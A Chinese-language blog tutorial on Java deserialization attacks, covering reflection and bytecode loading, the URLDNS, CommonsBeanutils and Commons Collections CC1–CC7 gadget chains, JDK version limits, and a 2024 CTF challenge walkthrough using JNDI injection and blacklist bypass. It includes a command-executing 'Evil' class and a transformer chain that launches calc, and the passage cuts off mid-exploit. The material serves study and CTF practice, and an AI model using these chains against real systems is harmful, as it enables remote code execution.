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Java反序列化攻击链：深入剖析与实战

反序列化链分析于实战

admin 1年前
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2024-11-27
Java反序列化攻击链：深入剖析与实战 1.java的反射机制 1.1. 反射的基本概念反射允许程序在运行时（而不是编译时）动态地： 1.获取类的信息 2.创建对象 3.调用方法，当像protected,private修饰的方法的时候不能直接调用就可以采取反射的形式调用。但是反射无法访问被强封装的类和成员。这些类通常位于Java的内部包中，例如sun.或com.sun. 4.访问/修改字段 5.甚至可以访问私有成员 1.2.反射实际用例 Evil类 package com.example.shiro550.shiro; import java.io.*; public class Evil implements Serializable{ public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } //set protected void setCmd(String cmd) throws IOException { this.cmd = cmd; Runtime.getRuntime().exec(cmd); } } //首先获取class对象，通过 Class 对象，我们可以在运行时动态地获取和操作evil类的结构 Class clz = Class.forName("com.example.shiro550.shiro.Evil"); //再通过class对象获取constructor，再通过constructor构造器来创建实例 Constructor testConstructor = clz.getConstructor(); Object testreadobject = testConstructor.newInstance();//newInstance方法来创建一个 Evil 类的实例 // 再通过class对象获取类中私有方法，参数类型为 String Method setCmdmethond = clz.getDeclaredMethod("setCmd", String.class); // 设置私有方法可访问 setCmdmethond.setAccessible(true); //最后通过invoke方法调用类中setCmd的方法执行calc setCmdmethond.invoke(testreadobject,"calc"); //通过class对象获取类的属性 Field[] fileds = clz.getDeclaredFields(); for (Field field: fileds) { System.out.println(field.getName()); } 1.3cc链中通过InvokerTransformer类进行反射调用 // 方法一：直接使用 InvokerTransformer 调用 Runtime r = Runtime.getRuntime(); // 获取 Runtime 实例 // 通过 InvokerTransformer 调用 Runtime.exec() 方法 new InvokerTransformer( "exec", // 要调用的方法名 new Class[]{String.class}, // 方法参数类型 new Object[]{"calc"} // 方法参数值 ).transform(r); // 传入 Runtime 实例执行转换 // 方法二：使用 ChainedTransformer 串联多个转换器 Transformer[] transformers = new Transformer[] { // 1. 获取 Runtime 类对象 new ConstantTransformer(Runtime.class), // 2. 获取 getRuntime 方法 new InvokerTransformer( "getMethod", // 调用 Class.getMethod() new Class[] {String.class, Class[].class}, // 参数类型：方法名和参数类型数组 new Object[] {"getRuntime", new Class[0]} // 参数值：getRuntime 方法名和空参数 ), // 3. 调用 getRuntime 方法获取 Runtime 实例 new InvokerTransformer( "invoke", // 调用 Method.invoke() new Class[] {Object.class, Object[].class}, // 参数类型：调用对象和参数数组 new Object[] {null, new Object[0]} // 参数值：静态方法故为 null，无参数 ), // 4. 执行命令 new InvokerTransformer( "exec", // 调用 Runtime.exec() new Class[] {String.class}, // 参数类型：命令字符串 new Object[] {"calc.exe"} // 参数值：要执行的命令 ) }; // 将转换器数组封装成 ChainedTransformer Transformer transformerChain = new ChainedTransformer(transformers); // 执行转换链，触发命令执行 transformerChain.transform(null); // 初始输入为 null，因为第一个转换器是 ConstantTransformer2.java的字节码class文件动态加载 2.1.Java文件编译命令使用 javac Hello.java 将Java源文件编译为class文件 2.2. 加载class文件的三种方法方法一：使用URLClassLoader，使用URL指定class文件所在目录，通过loader.loadClass()方法加载类，适用于加载指定目录下的类文件 import java.io.File; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class LoadTest { public static void main(String[] args) { try { // 指定class文件所在目录（注意：需要指定目录，而不是具体文件） File file = new File("C:\\Users\\32289\\Desktop"); URL url = file.toURI().toURL(); // 创建URLClassLoader try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) { // 加载Hello类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } } catch (Exception e) { e.printStackTrace(); } } }方法二：直接使用defineClass import java.nio.file.Files; import java.nio.file.Paths; public class LoadTest { static class MyClassLoader extends ClassLoader { public Class<?> defineClass(byte[] bytes) { return defineClass(null, bytes, 0, bytes.length); } } public static void main(String[] args) { try { // 读取class文件 byte[] bytecodes = Files.readAllBytes(Paths.get("Hello.class")); // 加载类 MyClassLoader loader = new MyClassLoader(); Class<?> clazz = loader.defineClass(bytecodes); System.out.println("成功加载类: " + clazz.getName()); } catch (Exception e) { e.printStackTrace(); } } }方法三：使用自定义ClassLoader + defineClass，直接读取class文件的字节码，通过重写findClass方法实现类加载，使用defineClass将字节码转换为Class对象。TemplatesImpl执行类作为反序列化最后常用的执行点，最终加载恶意的class文件也是类似于这种办法。 import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Method; public class LoadTest { public static void main(String[] args) { try { // 直接读取class文件的字节码 byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\32289\\Desktop\\Hello.class")); // 创建自定义类加载器 ClassLoader loader = new ClassLoader() { @Override protected Class<?> findClass(String name) { return defineClass(name, bytes, 0, bytes.length); } }; // 加载类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } catch (Exception e) { e.printStackTrace(); } } }TemplatesImpl中的关键代码： public class TransletClassLoader extends ClassLoader { private final SecurityManager _security; public TransletClassLoader(SecurityManager security) { _security = security; } public Class<?> defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } } private void daefineTransletClasses() { *// 获取字节码* byte[][] bytecodes = getBytecodes(); *// 使用defineClass直接加载字节码* _class[i] = loader.defineClass(null, bytecodes[i], 0, bytecodes[i].length); }3.java反序列化链思路 3.1.入口点（Entry Point）：反序列化操作的起始位置，通常是 readObject() 方法。当目标应用调用某个类的 readObject() 方法，且该类重写了 readObject() 方法时，就会触发自定义的反序列化逻辑。寻找入口点：寻找那些直接或间接调用 readObject() 方法的地方，例如： ObjectInputStream.readObject() 一些框架或组件中自定义的反序列化逻辑如（shiro,fastjson）例子： // Evil.java (可被攻击的类) package EvilSerializtion; import java.io.*; public class Evil implements Serializable { public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 执行命令 } }当对 Evil 类的序列化数据进行反序列化时，readObject() 方法会被调用，从而执行命令。 3.2利用链/Gadget Chain：从入口点到执行点的一系列方法调用，就像一条链条一样将两者串联起来。利用链中的每个环节都承上启下，最终导向恶意代码的执行。寻找Gadget：寻找可利用的类和方法，这些类和方法通常具有以下特点：实现了 Serializable 接口，可以被序列化和反序列化。拥有一些“神奇”的方法，例如 invoke()、newInstance()、get()、set() 等，可以用来反射调用其他方法或修改对象属性。方法之间存在调用关系，可以构成一条完整的利用链。构造Gadget Chain：将多个Gadget组合起来，形成一条从入口点到执行点的完整调用链。这通常需要深入分析目标应用的依赖库和代码，寻找潜在的可利用点。常见Gadget库和框架： Apache Commons Collections Apache Commons Beanutils Spring Framework Fastjson Jackson … 3.3执行点（Sink）：真正执行恶意操作的地方，例如代码执行（RCE）、命令执行、文件操作、敏感信息泄露等。常见执行点： Runtime.getRuntime().exec()：执行命令 ProcessBuilder.start()：执行命令 Method.invoke()：反射调用方法 ClassLoader.loadClass()：加载类 File、FileInputStream、FileOutputStream 等文件操作类 4. URLDNS 链原理： java.util.HashMap 重写了 readObject 方法，在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名，从而发出 DNS 请求。攻击者可以通过构造恶意的 URL 对象作为 HashMap 的 key，触发 DNS 解析，将受害者机器的信息发送到攻击者控制的 DNS 服务器。 Gadget Chain: dns图片 content_copyUse code with caution.Mermaid 跟踪链: ObjectInputStream.readObject() HashMap.readObject() HashMap.putVal() // putVal 内部调用 hash() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress() InetAddress.getByName() // DNS 解析发生在这里URLDNS 链利用流程: 构造恶意 URL 对象：攻击者创建一个 URL 对象，其域名指向攻击者控制的 DNS 服务器。创建 HashMap 对象：攻击者将恶意 URL 对象作为 key，任意对象作为 value，放入 HashMap 中。序列化 HashMap 对象：攻击者将 HashMap 对象序列化为字节流。反序列化 HashMap 对象：受害者机器反序列化攻击者提供的字节流。触发 DNS 解析：在反序列化过程中，HashMap 会调用 readObject 方法，进而调用 hash 方法计算 URL 对象的 hashCode。URL.hashCode 会调用 getHostAddress 解析域名，向攻击者控制的 DNS 服务器发送 DNS 请求。 5.commons-beanutils:1.9.x的cb1链执行流程： img图片 5.1主要是三个部分，从后往前推步骤一：TemplatesImpl类: 执行恶意代码的执行点（能否调用成功依赖于JDK版本, JDK<16 TemplatesImpl这个执行类才可以执行成功）恶意类.newInstance(): 要执行恶意代码，需要先实例化恶意类。 TemplatesImpl.defineTransletClasses() --> loader.defineClass() / 恶意类.newInstance(): defineTransletClasses() 方法负责定义和加载恶意类，并最终实例化它。其中 loader.defineClass() 是加载字节码的关键点。 TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses(): 如果 _translet 为空，getTransletInstance() 会调用 defineTransletClasses()。 TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance(): newTransformer() 方法会触发 getTransletInstance() 的调用。 TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer(): getOutputProperties() 方法最终会调用 newTransformer()。找到关键点：需要找到一种方法调用 TemplatesImpl.getOutputProperties()。步骤二：寻找可以调用 TemplatesImpl.getOutputProperties() 的 Gadget点 JavaBean 技术和 getProperty() 方法: JavaBean 规范中，getProperty() 方法可以用于获取对象的属性值。 PropertyUtils.getProperty(o1, "outputProperties") --> TemplatesImpl.getOutputProperties(): 如果 o1 是 TemplatesImpl 对象，且 property 为 "outputProperties"，那么 PropertyUtils.getProperty() 会通过反射调用 TemplatesImpl.getOutputProperties() 方法。(这里实际调用的是 getter 方法)。找到 Gadget：PropertyUtils.getProperty() 可以作为 Gadget 使用。步骤三：寻找触发 Gadget 的入口点 BeanComparator.compare() --> PropertyUtils.getProperty(o1, property): BeanComparator 的 compare() 方法内部使用了 PropertyUtils.getProperty() 来比较 JavaBean 的属性。 PriorityQueue.heapify() --> BeanComparator.compare(): PriorityQueue 的 heapify() 方法在调整堆结构时会使用比较器进行比较。 PriorityQueue.readObject() --> PriorityQueue.heapify(): PriorityQueue 的 readObject() 方法在反序列化过程中会调用 heapify()。找到入口点：PriorityQueue.readObject() 主要涉及的技术点： Java 反序列化: 将序列化的数据重新转换为对象的过程。 JavaBeans: 一种符合特定规范的 Java 类，通过 getter 和 setter 方法暴露属性。 TemplatesImpl: Apache Xalan 库中的一个类，可以加载并执行字节码。 BeanComparator: Apache Commons Beanutils 库中的一个比较器，可以根据 JavaBean 属性进行比较。 PriorityQueue: Java 集合框架中的一个类，实现了优先队列。 5.2全部的调用链: 入口点：PriorityQueue 类的 readObject() 方法（依赖于 JRE）触发反序列化: 当 PriorityQueue 对象被反序列化时，会自动调用 readObject() 方法。调用链：利用 Apache Commons Beanutils (依赖于 org.apache.commons.beanutils) 触发 TemplatesImpl PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> BeanComparator.compare() (使用了 BeanComparator 作为比较器) BeanComparator.compare() --> PropertyUtils.getProperty(o1, property) (其中 o1 为 TemplatesImpl 对象，property 为 "outputProperties") PropertyUtils.getProperty(o1, property) --> TemplatesImpl.getOutputProperties() (通过反射调用) 执行链：TemplatesImpl 的恶意字节码加载和执行 (依赖于 JRE) TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses() (如果 _translet 为空) TemplatesImpl.defineTransletClasses() --> loader.defineClass() (使用自定义的 ClassLoader 加载字节码) TemplatesImpl.defineTransletClasses() --> 恶意类.newInstance() (实例化恶意类) 恶意代码执行: 在恶意类实例化过程中，静态代码块或构造函数会被执行。5.3gadet调用链部分比较重要的点用到了javabean技术，getProperty方法获取目标类o1( TemplatesImpt类 )的属性值的方法(会调用TemplatesImpt类里面的geoutputPropertiest属性的方法‘) 起到承上启下连接链的作用，承上：接收BeanComparator的比较请求，启下：触发 TemplatesImpl 的危险方法。在较新版本的 JDK 中，JDK 16 及之后: 移除了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类执行点跟链思路：先从下往上，再寻找到gadget调用链承上启下，再寻找入口点连接起来，从后往前推找到谁调用了这个方法一直到readobject方法就可以截至 5.4JDK 版本限制 JDK 16 及之后: TemplatesImpl 类访问收到限制，该类默认情况下被强封装，需要特殊配置才能访问。到了jdk16就需要使用其他执行类。 jdk15的情况下生成的cb1的反序列能够成功执行，但是到了jdk16之后就会报错： image-20241126215130614图片报错信息分析： InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler accessible 表明无法通过反射访问这个内部类。CB链调用的过程中间接的利用到了sun.reflect.annotation.AnnotationInvocationHandler这个内部类，在新版本中，这个内部类被严格封装，默认不允许反射访问。 6.commons-collections:3.1反序列化链的进化史 6.1cc1链 cc1反序列化gadet调用链： ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoe() Runtime.exec()cc1调用链： cc1图片 CC1 链执行流程图片入口点：ObjectInputStream.readObject() 反序列化调用链： ObjectInputStream.readObject() --> AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject() --> Map(Proxy).entrySet() Map(Proxy).entrySet() --> AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke() --> LazyMap.get() 执行链： LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行： ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()cc1链中比较重要的点 AnnotationInvocationHandler类的动态代理技术:readObject() 方法会读取 memberValues 属性（即动态代理对象），并调用该对象的 entrySet() 方法。动态代理将方法调用转发给 AnnotationInvocationHandler 的 invoke() 方法: invoke() 方法调用 LazyMap 的 get() 方法: invoke() 方法逻辑会调用 LazyMap 的 get() 方法，触发恶意 Transformer 链的执行。 LazyMap 的触发: 利用 LazyMap 的特性，在 get() 操作时触发 transform() 方法，从而启动执行链 transform链:通过装载多个transformer加反射调用Runtime().getruntime()来执行命令 6.2cc3链 CC3 链与 CC1 链的结构类似，主要区别在于执行阶段的最后一个 Transformer，cc3主要是通过TemplatesImpl 来加载恶意字节码，使得攻击者可以更加灵活地控制反射调用的过程。 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() TemplatesImpl.getOutputProperties() (or newTransformer())cc3图片 CC3 链详细分解：入口点与反序列化阶段（与 CC1 相同）： ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() 执行阶段（与 CC1 不同）： LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行： ConstantTransformer.transform()：返回 TemplatesImpl 类。 InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod()：通过反射获取 TemplatesImpl 类的 getOutputProperties() 或 newTransformer() 方法。 InvokerTransformer.transform() --> Method.invoke() --> TemplatesImpl.getOutputProperties() 或 TemplatesImpl.newTransformer()：调用 TemplatesImpl 对象的 getOutputProperties() 或 newTransformer() 方法。 TemplatesImpl 的关键作用： TemplatesImpl 是 javax.xml.transform 包下的一个类，用于加载和执行 XSLT 模板。攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中。当 TemplatesImpl 的 getOutputProperties() 或 newTransformer() 方法被调用时，会触发恶意字节码的加载和执行。 CC3 链的核心要点：利用 TemplatesImpl 加载恶意字节码，绕过了一些对 Runtime.exec() 的限制。仍然依赖于 AnnotationInvocationHandler 作为反序列化入口点，因此也受限于 JDK 版本。 6.3cc5链 cc5链相比较于前面的cc1和cc3链，使用了不同的反序列化入口点，不再依赖于 AnnotationInvocationHandler，从而可以绕过 JDK 对 CC1 和CC3对AnnotationInvocationHandler的修复。 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()cc5图片 CC5 链详细分解：入口点： ObjectInputStream.readObject() 读取序列化对象。反序列化阶段： ObjectInputStream.readObject() --> BadAttributeValueExpException.readObject()：当反序列化 BadAttributeValueExpException 类型的对象时，会调用其 readObject() 方法。 BadAttributeValueExpException.readObject() --> TiedMapEntry.toString()： BadAttributeValueExpException 类中有一个 val 属性，该属性的类型是 Object。攻击者可以将一个 TiedMapEntry 对象赋值给 val 属性。在 BadAttributeValueExpException.readObject() 方法中会调用 val.toString()。 TiedMapEntry.toString() --> LazyMap.get()： TiedMapEntry 的 toString() 方法会调用其内部 Map 的 get() 方法，这里的 Map 实际上是一个 LazyMap 对象，key 是 TiedMapEntry 本身。执行阶段（与 CC1 相同）： LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行： ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC5 链的核心要点：利用 BadAttributeValueExpException 作为新的反序列化入口点，绕过了 JDK 对 AnnotationInvocationHandler 的修复。通过 TiedMapEntry 的 toString() 方法触发 LazyMap 的 get() 方法。仍然使用 Transformer 链执行任意命令 6.4cc6链 CC6 链利用 HashSet 和 HashMap 的特性来触发反序列化漏洞。 CC6 反序列化 Gadget 调用链： java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()cc6图片 CC6 链详细分解：入口点： ObjectInputStream.readObject() 读取序列化对象。反序列化阶段： ObjectInputStream.readObject() --> HashSet.readObject()：当反序列化 HashSet 类型的对象时，会调用其 readObject() 方法。 HashSet.readObject() --> HashMap.put()： HashSet 内部使用 HashMap 来存储元素。在 readObject() 过程中，会调用 HashMap 的 put() 方法添加元素。 HashMap.put() --> HashMap.hash()：为了计算元素的哈希值，HashMap.put() 会调用 HashMap.hash() 方法。 HashMap.hash() --> TiedMapEntry.hashCode()：如果 HashMap 中存储的是 TiedMapEntry 对象，那么 HashMap.hash() 会调用 TiedMapEntry.hashCode() 方法。 TiedMapEntry.hashCode() --> TiedMapEntry.getValue()： TiedMapEntry.hashCode() 方法会调用 TiedMapEntry.getValue() 方法获取值。 TiedMapEntry.getValue() --> LazyMap.get()： TiedMapEntry 内部持有一个 Map 对象，getValue() 方法会调用该 Map 的 get() 方法，这里的 Map 实际上是一个 LazyMap 对象，key 是 TiedMapEntry 本身。执行阶段（与 CC1 相似）： LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC6 链的核心要点：利用 HashSet 和 HashMap 的反序列化过程作为入口点。通过 HashMap 计算 TiedMapEntry 哈希值时触发 LazyMap.get()。仍然使用 Transformer 链执行任意命令。 6.5cc7链 CC7 链利用 Hashtable 和 AbstractMapDecorator 的特性来触发反序列化漏洞。 CC7 反序列化 Gadget 调用链： ObjectInputStream.readObject() Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMapDecorator.equals() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Method.invoke() DelegatingMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke0() Runtime.exec()cc7图片 CC7 链详细分解：入口点：ObjectInputStream.readObject() 读取序列化对象。反序列化阶段： ObjectInputStream.readObject() --> Hashtable.readObject()：当反序列化 Hashtable 类型的对象时，会调用其 readObject() 方法。 Hashtable.readObject() --> Hashtable.reconstitutionPut()：Hashtable 在反序列化过程中会调用 reconstitutionPut() 方法重新构建内部的键值对。 Hashtable.reconstitutionPut() --> AbstractMapDecorator.equals()：Hashtable 在 reconstitutionPut() 中会使用 equals() 方法比较键是否相等。如果 Hashtable 中的键是一个 AbstractMapDecorator 对象（如 LazyMap 或 TransformedMap），那么会调用其 equals() 方法。 AbstractMapDecorator.equals() --> AbstractMap.equals()：AbstractMapDecorator 的 equals() 方法会调用 AbstractMap.equals() 方法进行进一步比较。 AbstractMap.equals() --> LazyMap.get()：在 AbstractMap.equals() 方法中，如果比较的另一个对象也是一个 Map，会调用其 get() 方法获取值进行比较。这里的 Map 实际上是一个 LazyMap 对象，key 是 AbstractMapDecorator 对象本身。执行阶段： LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke()：调用 InvokerTransformer 执行反射调用。 Method.invoke() --> DelegatingMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke0() --> Runtime.exec()：这一系列调用最终会执行 Runtime.exec() 方法。这是 Java 反射调用过程中的底层实现细节。 CC7 链的核心要点：利用 Hashtable 的反序列化机制作为入口点。通过 Hashtable 在反序列化过程中调用 equals() 方法来触发 LazyMap.get()。仍然使用 Transformer 链执行任意命令。 6.6jdk版本限制随着jdk版本更新cc1链被修复 JDK 8u71 及之后： CC1 链和CC3链使用的是相同的入口gadet片段导致失效。JDK 8u71 修复了 AnnotationInvocationHandler 的漏洞，导致依赖于它的 CC1 和 CC3 链失效。这是因为 AnnotationInvocationHandler 的 memberValues 字段的类型受到了限制，阻止了恶意利用。 image-20241127094041601图片 jdk16及之后:和cb链一样因为内部类的严格封装，sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类，不能再反射调用，导致CC5,CC6,CC7失效。 image-20241126222027505图片 6.7总结 cc3.1反序列化链逻辑图图片对 CC3、CC5、CC6 和 CC7 链进行总结如下：链入口点触发方式执行方式JDK 限制CC1AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()Runtime.exec()JDK 8u71 之后修复CC3AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()TemplatesImpl 加载字节码JDK 8u71 之后修复CC5BadAttributeValueExpException.readObject()TiedMapEntry.toString() -> LazyMap.get()Runtime.exec()JDK16后修复CC6HashSet.readObject()HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get()Runtime.exec()JDK16后修复CC7Hashtable.readObject()Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get()Runtime.exec()JDK16后修复通用特点：都利用了 Apache Commons Collections 库中的 LazyMap 和 ChainedTransformer、InvokerTransformer 等类。差异：入口点不同：每个链使用了不同的类作为反序列化的入口点，这是为了绕过 JDK 对之前链的修复。触发方式不同：每个链通过不同的方式触发 LazyMap 的 get() 方法，从而启动 Transformer 链。执行方式： CC3 主要利用 TemplatesImpl 加载恶意字节码执行命令，而其他链（CC1、CC5、CC6、CC7）通常利用 Runtime.exec()，但技术上也可以使用 TemplatesImpl来加载恶意的字节码实现命令执行，内存马注入等. 7.commons-collections4.0：反序列化链 7.1CC2 链 CC2 反序列化 Gadget 调用链： ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Class.getMethod() Method.invoke() Runtime.getRuntime() Method.invoke() Runtime.exec()cc2图片入口点：ObjectInputStream.readObject() 反序列化调用链： ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链： TransformingComparator.compare() --> InvokerTransformer.transform() InvokerTransformer.transform() --> 依次执行： Method.invoke() --> Class.getMethod() Method.invoke() --> Runtime.getRuntime() Method.invoke() --> Runtime.exec()content_copyUse code with caution.Java CC2 链中比较重要的点： PriorityQueue 的利用： PriorityQueue 是一个优先队列，在反序列化时会进行堆排序。 TransformingComparator 的作用： TransformingComparator 是一个比较器，在 PriorityQueue 进行排序时会调用其 compare 方法，从而触发 InvokerTransformer 的 transform 方法。 InvokerTransformer 的反射调用：与 CC1 链类似，InvokerTransformer 通过反射调用 Runtime.getRuntime().exec() 方法执行命令。 7.2 CC4 链 CC4 反序列化 Gadget 调用链: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InstantiateTransformer.transform() Constructor.newInstance() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() DefineTransletClasses.defineClass()cc4图片入口点：ObjectInputStream.readObject() 反序列化调用链： ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链： TransformingComparator.compare() --> InstantiateTransformer.transform() InstantiateTransformer.transform() --> Constructor.newInstance() Constructor.newInstance() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> DefineTransletClasses.defineClass()CC4 链中比较重要的点： InstantiateTransformer 的利用： CC4 链与 CC2 链的结构类似，主要区别在于执行阶段使用了 InstantiateTransformer 而不是 InvokerTransformer。 TemplatesImpl 加载字节码： InstantiateTransformer 会调用指定类的构造函数创建对象。在 CC4 中，这个类是 TemplatesImpl，攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中，然后通过调用 newTransformer() 方法触发恶意字节码的加载和执行。 7.3 JDK 限制随着 JDK 版本更新，CC2 和 CC4 链也受到了一定的限制： JDK 16 及之后： CC2链和CC4链和cb链一样因为内部类的严格封装，sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类，不能再反射调用，导致CC链失效。 7.4 总结链入口点触发方式执行方式JDK 限制CC2PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InvokerTransformer.transform()Runtime.exec()JDK16后失效CC4PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InstantiateTransformer.transform()TemplatesImpl 加载字节码JDK16后失效通用特点：都利用了 PriorityQueue 的反序列化过程作为入口点。都利用了 TransformingComparator 作为触发器。差异：执行方式不同： CC2 利用 InvokerTransformer 执行 Runtime.exec()，而 CC4 利用 InstantiateTransformer 和 TemplatesImpl 加载恶意字节码。 8.java反序列的payload一键生成利用工具 web Chains地址：Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具，提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成，以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用 image-20241122190952420图片 image-20241122191532090图片 9.反序列化和jndi实战例题 2024赣州杯 byp4ss 9.1配置动态调试拿到jar包之后解压： image-20241123220118347图片解压之后idea中打开这个项目： image-20241124094623878图片项目结构->模块->添加classes和lib依赖： image-20241123220335117图片添加远程调试 image-20241123220535557图片然后通过以下命令运行jar包 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar byp4ss.jar打上断点就可调试 image-20241123220745389图片 9.2indexController路由存在漏洞点参数base64,jndi image-20241123102700500图片 9.3思路一：jndi远程注入 Byp4ssApplication image-20241124174707575图片 System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")这个设置的含义是:禁止 LDAP 引用远程对象时进行反序列化操作，可以尝试传统的远程加载jndi服务。传统的远程加载jndi服务加载类的方法要依赖于启动jar包的java版本，只要java版本小于:1.8u191就可以攻击成功 9.4思路二：java原生反序列化攻击需要将重点放在反序列化攻击上，寻找绕过resolveClass中类名检测的方法代码中禁止了以下类的反序列化： ConcurrentSkipListMap HashMap HashTable org.apache.commons.collections.functors 包下的类寻找不在黑名单gadet中的链条根据lib依赖的组件和版本使用工具生成反序列化链 image-20241124172250403图片 image-20241124172503372图片 image-20241124175130207图片 9.5绕过禁用的反序列化类生成传入报错因为禁用了hashmap类的反序列化 image-20241124191457481图片所以我们要找其他的gadet片段替换绕过，找的是toString方法->getter方法 image-20241124191825457图片反序列化，类被禁用找其他gadet推荐项目：LxxxSec/CTF-Java-Gadget: CTF-Java-Gadget专注于收集CTF中Java赛题的反序列化片段从这个项目中找到下面的反序列化链 image-20241124192337017图片 package com.ctf.byp4ss.controller; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import 